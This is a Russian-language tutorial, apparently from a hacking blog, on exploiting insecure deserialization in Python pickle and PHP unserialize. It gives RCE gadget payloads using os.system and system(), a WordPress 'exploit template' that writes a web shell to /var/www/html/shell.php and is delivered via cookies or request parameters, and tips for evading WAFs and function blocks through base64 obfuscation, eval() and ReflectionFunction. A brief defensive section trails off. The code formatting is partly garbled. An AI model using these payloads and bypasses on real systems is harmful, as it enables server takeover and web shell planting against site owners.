
128
Десериализация — это процесс превращения данных (например, строк или байтов) обратно в объекты. Проблема в том, что если пользовательские данные десериализуются без фильтрации, можно подсунуть зловредный объект и выполнить произвольный код (Remote Code Execution, RCE). В 2025 году это всё ещё ахиллесова пята многих приложений.
Почему это опасно?
pickle) и PHP (unserialize()) можно создавать “гаджет-цепи” — последовательности объектов, которые при десериализации вызывают вредоносный код.🐍 Python: Гаджет-цепи с pickle
В Python модуль pickle десериализует данные в объекты. Если злоумышленник контролирует входные данные, он может вызвать метод __reduce__ и выполнить произвольный код.
Пример гаджет-цепи:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
import pickle import os class Exploit: def __reduce__(self): # Команда, которая будет выполнена return (os.system, ('echo "Hacked!"; touch /tmp/pwned',)) # Создаем вредоносный pickle payload = pickle.dumps(Exploit()) # Жертва десериализует pickle.loads(payload) # Выполняется команда |
Как это работает?
__reduce__ возвращает функцию (os.system) и аргументы для неё.pickle.loads() Python выполняет эту функцию.Лайфхак: Чтобы обойти ограничения на прямой вызов os.system, можно использовать subprocess.Popen или другие встроенные модули.
🛠️ PHP: Гаджет-цепи с unserialize()
В PHP функция unserialize() восстанавливает объекты из строки. Если класс имеет магические методы вроде __wakeup() или __destruct(), можно спровоцировать выполнение кода.
Пример гаджет-цепи:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
<?php class Exploit { private $cmd; public function __construct($cmd) { $this->cmd = $cmd; } public function __destruct() { system($this->cmd); } } // Создаем вредоносный объект и сериализуем $payload = serialize(new Exploit('echo "Hacked!"; touch /tmp/pwned')); // Жертва десериализует unserialize($payload); // Выполняется команда |
Как это работает?
unserialize() PHP создает объект Exploit.__destruct(), который запускает команду из свойства $cmd.Лайфхак: Если прямой вызов system() блокируется, используйте eval() с обфускацией через base64_decode().
📦 Шаблон эксплойта для CMS (WordPress/Drupal)
Многие CMS используют PHP-сессии, кэши или плагины, которые десериализуют пользовательские данные. Цель — найти точку входа, где unserialize() вызывается на пользовательском вводе (например, через куки или параметры запроса).
Шаг 1: Поиск уязвимости
Используем Burp Suite для анализа:
PHPSESSID или параметры с сериализованными данными (O:8:"stdClass":...).unserialize() (например, старые версии W3 Total Cache).Шаг 2: Генерация payload
Для WordPress создадим гаджет-цепь на основе популярных классов:
|
1 2 3 4 5 6 7 8 9 10 |
<?php class WP_Exploit { public $cache_filename = '<?php phpinfo(); ?>'; public function __destruct() { file_put_contents('/var/www/html/shell.php', $this->cache_filename); } } $payload = serialize(new WP_Exploit()); echo $payload; |
Шаг 3: Доставка
Cookie: session_data=<our_payload>vulnerable_param=<our_payload>Результат: На сервере создается веб-шелл /shell.php, который можно использовать для дальнейших атак.
💣 Автоматизация: Сканер уязвимостей
Для PHP:
Пишем скрипт для обнаружения unserialize() в коде CMS:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
import re import os def scan_for_unserialize(path): for root, _, files in os.walk(path): for file in files: if file.endswith('.php'): with open(os.path.join(root, file), 'r') as f: content = f.read() if 'unserialize(' in content: print(f"Found unserialize in {file}") scan_for_unserialize('/var/www/html/wordpress') |
Для Python:
Проверяем зависимости на использование pickle через grep или PyPI-анализ:
|
1 |
grep -r "pickle.load" /path/to/project |
🛡️ Обход WAF и защитных механизмов 2025
base64_encode: unserialize(base64_decode('<encoded_payload>'))json_decode с кастомным autoload).system, exec)?
ReflectionFunction для вызова обходных функций.ReflectionFunction('create_function')->invoke('', 'phpinfo();');eval() или assert().🧠 Защита: Как не стать жертвой
pickle для пользовательских данных. Альтернатива — json или ограниченный yaml через safe_load.unserialize() или фильтруйте входные данные через allowed_classes:🔥 Итоги и кейс
Лайфхак напоследок: Если CMS использует кастомные классы, изучите их методы __wakeup() и __call() через реверс-инжиниринг. Это золотая жила для гаджет-цепей.